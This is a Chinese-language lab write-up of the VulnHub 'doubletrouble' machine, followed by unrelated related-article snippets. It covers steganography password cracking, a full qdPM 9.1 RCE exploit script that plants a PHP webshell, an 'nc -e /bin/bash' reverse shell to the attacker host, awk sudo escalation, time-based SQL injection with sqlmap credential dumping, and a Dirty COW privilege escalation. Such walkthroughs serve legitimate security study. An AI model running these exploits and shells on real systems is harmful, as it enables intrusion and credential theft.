当前位置: 首页 > news >正文

打靶记录13——doubletrouble

靶机:

https://www.vulnhub.com/entry/doubletrouble-1,743/

难度:

目标:

  • 取得两台靶机 root 权限

涉及攻击方法:

  • 主机发现
  • 端口扫描
  • Web信息收集
  • 开源CMS漏洞利用
  • 隐写术
  • 密码爆破
  • GTFObins提权
  • SQL盲注
  • 脏牛提权

学习记录(nc):

nc命令用来传文件,在很多时候传大文件的时候往往比用python来启用HTTP服务来传输的效果更好,而且nc几乎在所有的Linux系统中都默认存在,不但可以用来进行反弹shell操作,还可以用来传输文件

主机发现

arp-scan -l
image.png

端口扫描和服务发现

nmap -p- 192.168.0.103
image.png
nmap -p22,80 -sV -sC 192.168.0.103
image.png
image.png
image.png
qdPM是一个开源、免费,基于Web的项目管理工具,其实也就是一个cms系统“CMS(Content Management System,内容管理系统)是一种用于创建、管理和修改数字内容的软件应用程序。CMS系统广泛用于网站建设和内容管理,允许用户无需编写代码即可创建和管理网站内容。”

查看release notes,可能会告诉我们它在新版本当中修复了哪些漏洞,然后又增加了哪些新功能,这样就会帮助我们去找到攻击渗透的入口点。
image.png
发现有一个/install路径和/core/cache/qdPM/路径
image.png
image.png
/core/cache/qdPM/路径只能查看到文件名称,无法看到源码
image.png
这里有一个token234sAFE425SDFAf2ljlkasdhfiwugb2563h2g4jA,收集记录下来
searchsploit qdpm搜索漏洞库,发现9.1版本有RCE远程代码执行漏洞
image.png
把它们复制到当前目录里查看
image.png
发现是同一个CVE漏洞编码,只是使用的Python版本不一样,并且是需要登录之后Authenticated才能够利用成功的,网上搜索这个Web应用程序的默认的账号密码去登录也失败了
image.png
image.png
sudo dirsearch -u http://192.168.0.103/搜索目录,发现一个/secret/路径,有一张图片!
image.png
image.png
steghide info doubletrouble.jpg,查看图片发现能容下4.7K的隐写数据,但是需要密码。
image.png
stegseek --crack doubletrouble.jpg rockyou.txt一秒钟破解出密码92camaro
image.png
stegseek --crack doubletrouble.jpg rockyou.txt -xf file将隐写内容提取出来并命名为file,查看file文件获得账号密码otisrush@localhost.com``otis666
image.png
用这个账号密码成功登录Web应用的后台,那么我们就可以利用刚刚的两个python脚本来进行漏洞的利用了。
image.png
mousepad 50175.py编辑一下这个文件,里面的很多处的代码缩进有问题,需要手动修改一下
image.png
修改好之后的代码应该是这样的

# Exploit Title: qdPM 9.1 - Remote Code Execution (RCE) (Authenticated)
# Google Dork: intitle:qdPM 9.1. Copyright © 2020 qdpm.net
# Date: 2021-08-03
# Original Exploit Author: Rishal Dwivedi (Loginsoft)
# Original ExploitDB ID: 47954
# Exploit Author: Leon Trappett (thepcn3rd)
# Vendor Homepage: http://qdpm.net/
# Software Link: http://qdpm.net/download-qdpm-free-project-management
# Version: <=1.9.1
# Tested on: Ubuntu Server 20.04 (Python 3.9.2)
# CVE : CVE-2020-7246
# Exploit written in Python 3.9.2
# Tested Environment - Ubuntu Server 20.04 LTS
# Path Traversal + Remote Code Execution#!/usr/bin/python3import sys
import requests
from lxml import html
from argparse import ArgumentParsersession_requests = requests.session()def multifrm(userid, username, csrftoken_, EMAIL, HOSTNAME, uservar):request_1 = {'sf_method': (None, 'put'),'users[id]': (None, userid[-1]),'users[photo_preview]': (None, uservar),'users[_csrf_token]': (None, csrftoken_[-1]),'users[name]': (None, username[-1]),'users[new_password]': (None, ''),'users[email]': (None, EMAIL),'extra_fields[9]': (None, ''),'users[remove_photo]': (None, '1'),}return request_1def req(userid, username, csrftoken_, EMAIL, HOSTNAME):request_1 = multifrm(userid, username, csrftoken_, EMAIL, HOSTNAME, '.htaccess')new = session_requests.post(HOSTNAME + 'index.php/myAccount/update', files=request_1)request_2 = multifrm(userid, username, csrftoken_, EMAIL, HOSTNAME, '../.htaccess')new1 = session_requests.post(HOSTNAME + 'index.php/myAccount/update', files=request_2)request_3 = {'sf_method': (None, 'put'),'users[id]': (None, userid[-1]),'users[photo_preview]': (None, ''),'users[_csrf_token]': (None, csrftoken_[-1]),'users[name]': (None, username[-1]),'users[new_password]': (None, ''),'users[email]': (None, EMAIL),'extra_fields[9]': (None, ''),'users[photo]': ('backdoor.php','<?php if(isset($_REQUEST[\'cmd\'])){ echo "<pre>"; $cmd = ($_REQUEST[\'cmd\']); system($cmd); echo "</pre>"; die; }?>', 'application/octet-stream'),}upload_req = session_requests.post(HOSTNAME + 'index.php/myAccount/update', files=request_3)def main(HOSTNAME, EMAIL, PASSWORD):url = HOSTNAME + '/index.php/login'result = session_requests.get(url)#print(result.text)login_tree = html.fromstring(result.text)authenticity_token = list(set(login_tree.xpath("//input[@name='login[_csrf_token]']/@value")))[0]payload = {'login[email]': EMAIL, 'login[password]': PASSWORD, 'login[_csrf_token]': authenticity_token}result = session_requests.post(HOSTNAME + '/index.php/login', data=payload, headers=dict(referer=HOSTNAME + '/index.php/login'))# The designated admin account does not have a myAccount pageaccount_page = session_requests.get(HOSTNAME + 'index.php/myAccount')account_tree = html.fromstring(account_page.content)userid = account_tree.xpath("//input[@name='users[id]']/@value")username = account_tree.xpath("//input[@name='users[name]']/@value")csrftoken_ = account_tree.xpath("//input[@name='users[_csrf_token]']/@value")req(userid, username, csrftoken_, EMAIL, HOSTNAME)get_file = session_requests.get(HOSTNAME + 'index.php/myAccount')final_tree = html.fromstring(get_file.content)backdoor = final_tree.xpath("//input[@name='users[photo_preview]']/@value")print('Backdoor uploaded at - > ' + HOSTNAME + '/uploads/users/' + backdoor[-1] + '?cmd=whoami')if __name__ == '__main__':print("You are not able to use the designated admin account because they do not have a myAccount page.\n")parser = ArgumentParser(description='qdmp - Path traversal + RCE Exploit')parser.add_argument('-url', '--host', dest='hostname', help='Project URL')parser.add_argument('-u', '--email', dest='email', help='User email (Any privilege account)')parser.add_argument('-p', '--password', dest='password', help='User password')args = parser.parse_args()# Added detection if the arguments are passed and populated, if not display the argumentsif  (len(sys.argv) > 1 and isinstance(args.hostname, str) and isinstance(args.email, str) and isinstance(args.password, str)):main(args.hostname, args.email, args.password)else:parser.print_help()

python3 50175.py可以正常运行了,那么给它加上参数来使用
image.png
python3 50175.py -url http://192.168.0.103/ -u otisrush@localhost.com -p otis666成功创建了一个后门文件,上传了一个Webshell
image.png
image.png
成功的任意命令执行
image.png

反弹shell

?cmd=which nc发现存在nc命令
image.png
?cmd=nc -e /bin/bash 192.168.0.101 4444反弹shell
image.png
python3 -c "import pty;pty.spawn('/bin/bash')"升级一下shell
image.png

提权

sudo -l
image.png
https://gtfobins.github.io/gtfobins/awk/#sudo可以用Gtfobins来提权
image.png
sudo awk 'BEGIN {system("/bin/bash")}'幸福来得太突然,成功获取root权限!
image.png
/root目录发现第二个ova格式的文件,那需要把它下载下来再导入VirtualBox当中
image.png

学习记录(nc):

nc命令用来传文件,在很多时候传大文件的时候往往比用python来启用HTTP服务来传输的效果更好,而且nc几乎在所有的Linux系统中都默认存在,不但可以用来进行反弹shell操作,还可以用来传输文件

nc -lvnp 4444 > second.ova首先在kali启动侦听,准备接收文件

然后在靶机nc 192.168.0.101 4444 < doubletrouble.ova -w 1传输文件,-w 1参数的意思是当文件传输完毕之后隔一秒钟就断开连接

md5sum second.ova传输完成之后检查md5是否一致,一致就说明文件没有经过任何修改
image.png
image.png
那么接下来就把它导入到VirtualBox当中去
image.png

第二次主机发现

sudo arp-scan -l发现它的IP地址192.168.0.104
image.png

第二次端口扫描和服务发现

sudo nmap -p- 192.168.0.104
image.png
sudo nmap -p22,80 -sV -sC 192.168.0.104
image.png
首先对80端口发起攻击,发现页面挺简单的,一个登录框
image.png
万能密码无法绕过来进行登录,源码也没有有价值的信息
sudo dirsearch -u http://192.168.0.104/尝试进行目录扫描,发现有/cgi-bin/
image.png
然后sudo dirsearch -u http://192.168.0.104/cgi-bin/ -f -e cgi,sh对这个目录进行扫描,看看有没有破壳漏洞,但是一无所获
image.png
那还是把目光放到唯一的登录页面上去吧,启动BurpSuite在登录的时候抓包

SQL盲注(时间盲注)

输入payloaduname=' AND(SELECT x FROM (SELECT (SLEEP(10)))XZ)#
这段代码实际上是一个SQL注入(SQL Injection)的payload,用于测试或利用数据库查询的漏洞。具体来说,这是一个时间盲注(Time-based Blind SQL Injection)的示例。在这种注入类型中,攻击者通过使数据库服务器延迟响应来推断出有关数据库的信息。

代码解析

' AND(SELECT x FROM (SELECT (SLEEP(10)))XZ)#

让我们逐步分解这一段代码:

  1. **起始单引号 ****'**
    • 这一部分通常是用来结束原本的SQL语句的字符串部分的。例如,如果原SQL查询是:
SELECT * FROM users WHERE username = 'admin' AND password = 'password'

注入攻击会这样插入单引号,使其变成:

SELECT * FROM users WHERE username = 'admin' AND password = '' AND(SELECT x FROM (SELECT (SLEEP(10)))XZ)#
  1. AND
    • 这个逻辑运算符用来添加一个新的条件到原本的SQL查询中。
  2. (SELECT x FROM (SELECT (SLEEP(10)))XZ)
    • 这是一个子查询。让我们进一步分解:
      • (SELECT (SLEEP(10)))
        • 这部分是一个内嵌子查询。SLEEP(10)是一个数据库函数,通常用于让数据库服务器暂停执行10秒。这个函数在MySQL和一些其他数据库中都有类似的功能。
      • (SELECT x FROM … XZ)
        • 这个外层的SELECT语句尝试从内嵌子查询的结果中选择一个字段(x),并将结果命名为XZ
  3. #
    • 这是SQL中的注释符号,表示后面的内容都是注释,不会被执行。这可以帮助攻击者忽略掉后面的代码,防止引起语法错误。

最终结果

将这段注入代码插入到原来的查询中,例如:

SELECT * FROM users WHERE username = 'admin' AND password = '' AND(SELECT x FROM (SELECT (SLEEP(10)))XZ)#

这会导致数据库服务器执行如下操作:

  1. 查询用户表(users),查找用户名为’admin’且密码为空的记录。
  2. 同时,执行子查询 (SELECT x FROM (SELECT (SLEEP(10)))XZ)
  3. 由于 SLEEP(10) 函数的存在,数据库服务器会暂停执行10秒。
  4. 如果数据库服务器响应时间的延迟符合预期,攻击者可以推断出注入点是可行的。

应用情境

这种时间盲注技术通常用于:

  • 确认注入点:通过观察响应时间的延迟,攻击者可以确认注入点是否存在。
  • 提取数据:在更复杂的情况下,攻击者可以通过多次注入、观察响应时间,逐步提取出数据库中的敏感信息。

image.png
发现服务器确实10s之后才响应,说明SLEEP(10)函数被数据库给执行了,这样就可以基于这个时间去尝试问服务器,说你的当前数据库的名称的第一个字母是不是a,是不是b,是不是c…挨个字符来进行探测,经过大量的同步的探测,就可以在指定的时间范围之内,把目标系统所有的数据库的信息等等其他的库名,表名等内容全都给它榨取,提取出来。

把相同的payload放到psw里也是一样的延迟几秒才响应。
psw=' AND(SELECT x FROM (SELECT (SLEEP(5)))XZ)#
image.png
把前面的数据包保存为1.txt,让sqlmap去跑``
image.png
跑出来是mysql数据库了
image.png
接下来爆库sqlmap -r 1.txt -p uname --dbms mysql --dbs

  1. **-p uname**
    • 指定注入点参数。在这个例子中,uname 是要测试SQL注入漏洞的参数。例如,如果HTTP请求包含uname=adminsqlmap 将尝试在这个参数的位置进行SQL注入。
  2. **--dbms mysql**
    • 明确指定目标数据库管理系统为MySQL。这可以帮助sqlmap优化注入测试,因为不同的DBMS有不同的SQL语法和功能。
  3. **--dbs**
    • 命令sqlmap列出目标数据库管理系统中的所有数据库。这个选项用于在确认存在SQL注入漏洞后,枚举数据库。

发现两个数据库doubletroubleinformation_schema
image.png
接下来爆表sqlmap -r 1.txt -p uname --dbms mysql -D doubletrouble --tables
发现一个表users
image.png
接下来爆列名sqlmap -r 1.txt -p uname --dbms mysql -D doubletrouble -T users --columns
发现password``username这两列
image.png
那我们不管了直接dump下来
sqlmap -r 1.txt -p uname --dbms mysql -D doubletrouble -T users --dump
image.png
获得两对账号密码:

  • montreux``GfsZxc1
  • ZubZub99``clapton

用这些个账号密码登录Web页面失败,但是想起前面信息收集端口扫描的时候,发现22端口是开放的,管理员可能会对账号密码进行复用
ssh clapton@192.168.0.104登录,使用密码ZubZub99成功登录
image.png

提权(脏牛漏洞):

uname -a发现内核版本是3.2.0
image.png
利用ncexp传输过去
image.png
image.png
gcc -pthread exp.c -o exp -lcrypt在靶机生成一个exp可执行文件

命令解析

  1. **gcc**
    • GNU编译器集合(GNU Compiler Collection)。这是用于编译C和C++代码的编译器。
  2. **-pthread**
    • 这个选项告诉编译器使用POSIX线程库(pthread)。这是线程编程时常用的库,允许程序创建和控制多个线程。
  3. **exp.c**
    • 源代码文件名。这个文件包含了C语言编写的代码。
  4. **-o exp**
    • 指定输出文件名为 exp。编译后的可执行文件将被命名为 exp。如果没有这个选项,默认输出文件名为 a.out
  5. **-lcrypt**
    • 这个选项告诉编译器链接crypt库。crypt是一个用于加密的库,通常用于处理密码加密和解密。在一些系统中,它可能是libcrypt.solibcrypt.a

chmod +x exp赋予可执行权限
./exp pass设置密码为pass
根据脏牛漏洞的利用代码,一旦我们执行./exp pass,它就会使用一个叫firefart的账号来替换目标操作系统的root账号,并拥有root账号的uid``gid以及所有的权限,然后会自动备份一下当前操作系统的/etc/passwd文件到/tmp/passwd.bak,如下图所示。
image.png
ssh firefart@192.168.0.104登录目标系统
image.png
如果是一次护网比赛,或者是一次授权的渗透项目的话,推荐将/tmp目录下已经备份的passwd.bak这个文件给它重新覆盖回原来的/etc/passwd文件,这样做的目的是还原操作系统原来就拥有的其它那些账号以及原来的root账号本身。
cp /tmp/passwd.bak /etc/passwd拷贝回来之后
passwd重新设置root账号的密码为123456
image.png
退出出来之后下一次我就可以不再需要重复的去激活触发它的脏牛漏洞,而是直接使用root账号来进行登录
ssh root@192.168.0.104
image.png
查看/root目录下的文件,logdel2看起来是一个日志清理的脚本,我们不关心它。
image.png
查看root.txt这个flag文件,打靶完毕!
image.png

完毕!

相关文章:

打靶记录13——doubletrouble

靶机&#xff1a; https://www.vulnhub.com/entry/doubletrouble-1,743/ 难度&#xff1a; 中 目标&#xff1a; 取得两台靶机 root 权限 涉及攻击方法&#xff1a; 主机发现端口扫描Web信息收集开源CMS漏洞利用隐写术密码爆破GTFObins提权SQL盲注脏牛提权 学习记录&am…...

awk文本处理工具

awk 是一个强大的文本处理工具&#xff0c;在Shell编程中常用于处理和分析文本数据。它可以按列处理数据&#xff0c;进行模式匹配&#xff0c;生成报告&#xff0c;执行计算等。以下是一些 awk 的主要功能和使用场景&#xff1a; 期待您的关注 美好的观念较美人尤为可爱 目录 …...

计算机毕业设计选题推荐-学院网站系统-Java/Python项目实战

✨作者主页&#xff1a;IT毕设梦工厂✨ 个人简介&#xff1a;曾从事计算机专业培训教学&#xff0c;擅长Java、Python、微信小程序、Golang、安卓Android等项目实战。接项目定制开发、代码讲解、答辩教学、文档编写、降重等。 ☑文末获取源码☑ 精彩专栏推荐⬇⬇⬇ Java项目 Py…...

Spring模块详解Ⅰ

目录 SpringSpring框架的主要功能模块1. Core Container&#xff08;核心容器&#xff09;2. Data Access/Integration&#xff08;数据访问与集成&#xff09;3. Web4. AOP (Aspect-Oriented Programming&#xff0c;面向切面编程)5. Instrumentation&#xff08;工具集&#…...

C语言程序设计-练习篇

山海自有归期&#xff0c;风雨自有相逢。 一 下面代码的结果是什么&#xff1f; int main() { int i 0; for (i 0; i < 10; i) { if (i 5) //此处为赋值&#xff0c;i 5表达式结果为5 printf("%d ", i); //表达式为真&a…...

【Oracle篇】统计信息和动态采样的深度剖析(第一篇,总共六篇)

&#x1f4ab;《博主介绍》&#xff1a;✨又是一天没白过&#xff0c;我是奈斯&#xff0c;DBA一名✨ &#x1f4ab;《擅长领域》&#xff1a;✌️擅长Oracle、MySQL、SQLserver、阿里云AnalyticDB for MySQL(分布式数据仓库)、Linux&#xff0c;也在扩展大数据方向的知识面✌️…...

无源互调自动化测试软件应用案例分享:S参数和互调的高效测试

随着产品种类的丰富和市场需求的变化&#xff0c;合肥某电子技术公司意识到&#xff0c;传统的手工测试已无法满足公司持续发展的需要。于是&#xff0c;一场自动化测试转型悄然展开。 一、背景介绍 合肥某电子技术公司成立于2009年&#xff0c;专注于功分器、耦合器、负载器、…...

【6大设计原则】精通设计模式之里氏代换原则:从理论到实践,掌握代码演化的黄金法则

一、引言 1.1 设计模式的必要性 在软件开发的复杂性面前&#xff0c;设计模式提供了一套成熟的解决方案&#xff0c;它们是经过多年实践总结出来的&#xff0c;能够帮助我们应对各种编程难题。设计模式不仅仅是一种编程技巧&#xff0c;更是一种编程哲学&#xff0c;它能够提…...

国内服务器安装Docker提示Failed to connect to download.docker.com port 443的解决方案

解决方案 换国内镜像源。我用的是清华的。https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/ 自己找自己对应的版本。 例如你的Ubuntu系统。就用下列命令 sudo curl -fsSL https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/ubuntu/gpg -o /etc/apt/keyrings/do…...

前端开发攻略---彻底弄懂跨域解决方案

目录 1、浏览器的同源策略 1.1 源 1.2 同源与非同源 1.3 同源请求与非同源请求 2、跨域受到的限制 3、注意点 4、CORS解决Ajax跨域问题 4.1 CORS概述 4.2 CORS解决简单请求跨域 4.3 简单请求与复杂请求 4.4 CORS解决复杂请求跨域 4.5 借助CORS库快速完成配置 5、JS…...

【HeadFirst 设计模式】装饰者模式的C++实现

一、案例背景 Starbuzz是以扩张速度最快而闻名的咖啡连锁店。如果你在街角看到它的店&#xff0c;在对面街上肯定还会看到另一家。因为扩张速度实在太快了&#xff0c;他们准备更新订单系统&#xff0c;以合乎他们的饮料供应要求。他们原先的类设计是这样的…… 购买咖啡时&am…...

大白话解释TCP的三次握手和四次挥手

你好&#xff0c;我是沐爸&#xff0c;欢迎点赞、收藏和关注。个人知乎 TCP的三次握手是浏览器与服务器建立连接的过程&#xff0c;而四次挥手&#xff0c;是两者断开连接的过程。今天把客户端和服务端当做两个人&#xff0c;通过打电话的方式解释连接建立和断开的过程。 TCP…...

asyncua模块实现OPC UA通讯

asyncua是OPCUA的python实现&#xff0c;使用起来非常方便&#xff0c;其github地址是https://github.com/FreeOpcUa/opcua-asyncio UaExpert是OPC UA Client的GUI工具&#xff0c;当编写好server代码后并运行&#xff0c;我们可以使用UaExpert去和server进行通信。UaExpert使…...

RabbitMQ的核心概念

RabbitMQ是一个消息中间件&#xff0c;也是一个生产者消费者模型&#xff0c;负责接收&#xff0c;存储和转发消息。 核心概念 Producer 生产者&#xff0c;是RabbitMQ Server的客户端&#xff0c;向RabbitMQ发送消息。 Consumer 消费者&#xff0c;是RabbitMQ Server的客…...

【vSphere 7/8】深入浅出 vSphere 证书 Ⅰ—— 初识和了解 vSphere证书

目录 摘要1. vSphere 安全证书1.1 vSphere 安全证书的类型和有效期 2. 在 vSphere Client 中初识 vSphere 证书2.1 vCenter 8.0.3 的 vSphere Client 界面2.2 vCenter Server 7.0 Update2 到 vCenter Server 8.0 Update 2 的 vSphere Client 界面2.3 vCenter Server 7.0 到 vCe…...

【云备份】服务端模块-热点管理

文章目录 0.回顾extern1.介绍2.实现思想3.代码测试代码 热点管理总结 0.回顾extern extern cloudBackup::DataManager *_dataManager extern 关键字用于声明一个全局变量或对象&#xff0c;而不定义它。这意味着 _dataManager 是一个指向 cloudBackup::DataManager 类型的指针…...

call apply bind特性及手动实现

call // 原生的call var foo { value: 1 };function bar(...args) {console.log("this", this.value, args); }bar.call(foo)// call 改变了bar的this指向 // bar函数执行了 // 等价于 // var foo { // name: "tengzhu", // sex: "man", …...

pygame开发课程系列(5): 游戏逻辑

第五章 游戏逻辑 在本章中&#xff0c;我们将探讨游戏开发中的核心逻辑&#xff0c;包括碰撞检测、分数系统和游戏状态管理。这些元素不仅是游戏功能的关键&#xff0c;还能显著提升游戏的趣味性和挑战性。 5.1 碰撞检测 碰撞检测是游戏开发中的一个重要方面&#xff0c;它用…...

嵌入式系统实时任务调度算法优化与实现

嵌入式系统实时任务调度算法优化与实现 目录 嵌入式系统实时任务调度算法优化与实现 引言 1.1 嵌入式系统的重要性 1.2 实时任务调度的重要性 实时任务的定义与分类 2.1 实时任务的定义 2.2 实时任务的分类 2.3 实时任务的其他分类方法 硬实时与软实时系统 3.1 硬实…...

Java:枚举转换

在Java中&#xff0c;你可以使用Enum.valueOf()方法将字符串转换为枚举常量。但是&#xff0c;如果你想要将枚举转换为其他类型&#xff0c;你需要自定义转换方法。以下是一个简单的例子&#xff0c;演示如何将枚举转换为整数&#xff1a; public enum Color {RED(1), GREEN(2…...

Vue、react父子组件生命周期

Vue 的父子组件生命周期 以下分为三部分&#xff0c;加载渲染阶段——更新阶段——销毁阶段&#xff0c;我们来一一介绍&#xff1a; 1、加载渲染阶段 在加载渲染阶段&#xff0c;一定得等子组件挂载完毕后&#xff0c;父组件才能挂载完毕&#xff0c;所以父组件的 mounted 在…...

HTML 基础要素解析

目录 HTML 初步认识 纯文本文件介绍 纯文本文件与其它文件的区别 Html介绍 HTML 骨架 文档类型&#xff08;!DOCTYPE&#xff09;声明 介绍 常用的 DOCTYPE 声明 meta标签 字符集 关键字和页面描述 HTML 初步认识 纯文本文件介绍 纯文本文件指的是仅包含文本内容&am…...

开源的向量数据库Milvus

Milvus是一款开源的向量数据库&#xff0c;专为处理向量搜索任务而设计&#xff0c;尤其擅长处理大规模向量数据的相似度检索。 官网地址&#xff1a;https://milvus.io/ 以下是关于Milvus的详细介绍&#xff1a; 一、基本概念 向量数据库&#xff1a;Milvus是一款云原生向量…...

设计模式-工厂方法

“对象创建”模式 通过“对象创建”模式绕开new&#xff0c;来避免对象创建&#xff08;new&#xff09;过程中所导致的紧耦合&#xff08;依赖具体类&#xff09;&#xff0c;从而支持对象创建的稳定。它是接口抽象之后的第一步工作。典型模式 Factory MethodAbstract Factory…...

Flask SQLALchemy 的使用

Flask SQLALchemy 的使用 安装 Flask-SQLAlchemy配置 Flask-SQLAlchemy定义模型创建数据库和表插入和查询数据更新和删除数据迁移数据库总结Flask-SQLAlchemy 是一个 Flask 扩展,它简化了 Flask 应用中 SQLAlchemy 的使用。SQLAlchemy 是一个强大的 SQL 工具包和对象关系映射(…...

Metasploit漏洞利用系列(一):MSF完美升级及目录结构深度解读

在信息安全领域&#xff0c;MetasploitFramework&#xff08;MSF&#xff09;是一个无处不在的工具&#xff0c;它集合了大量的渗透测试和漏洞利用模块&#xff0c;帮助安全专家识别和利用系统中的弱点。本文将深入探讨如何对Metasploit进行完美升级&#xff0c;以及对其核心目…...

C/C++|经典代码题(动态资源的双重释放与「按值传递、按引用传递、智能指针的使用」)

以下代码中你能看出其存在什么问题&#xff1f;如何修复&#xff0c;能给出几种方法&#xff1f;分别在什么场景下用哪种方法。 #include <iostream>class Buffer {public:Buffer() { std::cout << "Buffer created" << std::endl; }~Buffer() { s…...

西北乱跑娃 -- linux使用笔记

1.后台运行每天一个日志文件 nohup python3.8 manage.py >> $(date %Y-%m-%d).log 2>&1 &2.目录操作&#xff1a; ls&#xff1a;列出目录内容。cd&#xff1a;改变当前工作目录。pwd&#xff1a;显示当前工作目录的路径。mkdir&#xff1a;创建新目录。rmd…...

Kubectl基础命令使用

一.Kubectl 基础命令 格式&#xff1a; kubectl [command] [TYPE] [NAME] [FLAGS] kubectl 是 Kubernetes 的命令行工具&#xff0c;用于管理 Kubernetes 集群。以下是一些常用的 kubectl 命令及其选项&#xff1a; 常用命令 获取资源 列出所有资源类型&#xff08;Pods、De…...

推荐编译器插件:Fitten Code 更快更好的AI助手

✨✨ 欢迎大家来访Srlua的博文&#xff08;づ&#xffe3;3&#xffe3;&#xff09;づ╭❤&#xff5e;✨✨ &#x1f31f;&#x1f31f; 欢迎各位亲爱的读者&#xff0c;感谢你们抽出宝贵的时间来阅读我的文章。 我是Srlua小谢&#xff0c;在这里我会分享我的知识和经验。&am…...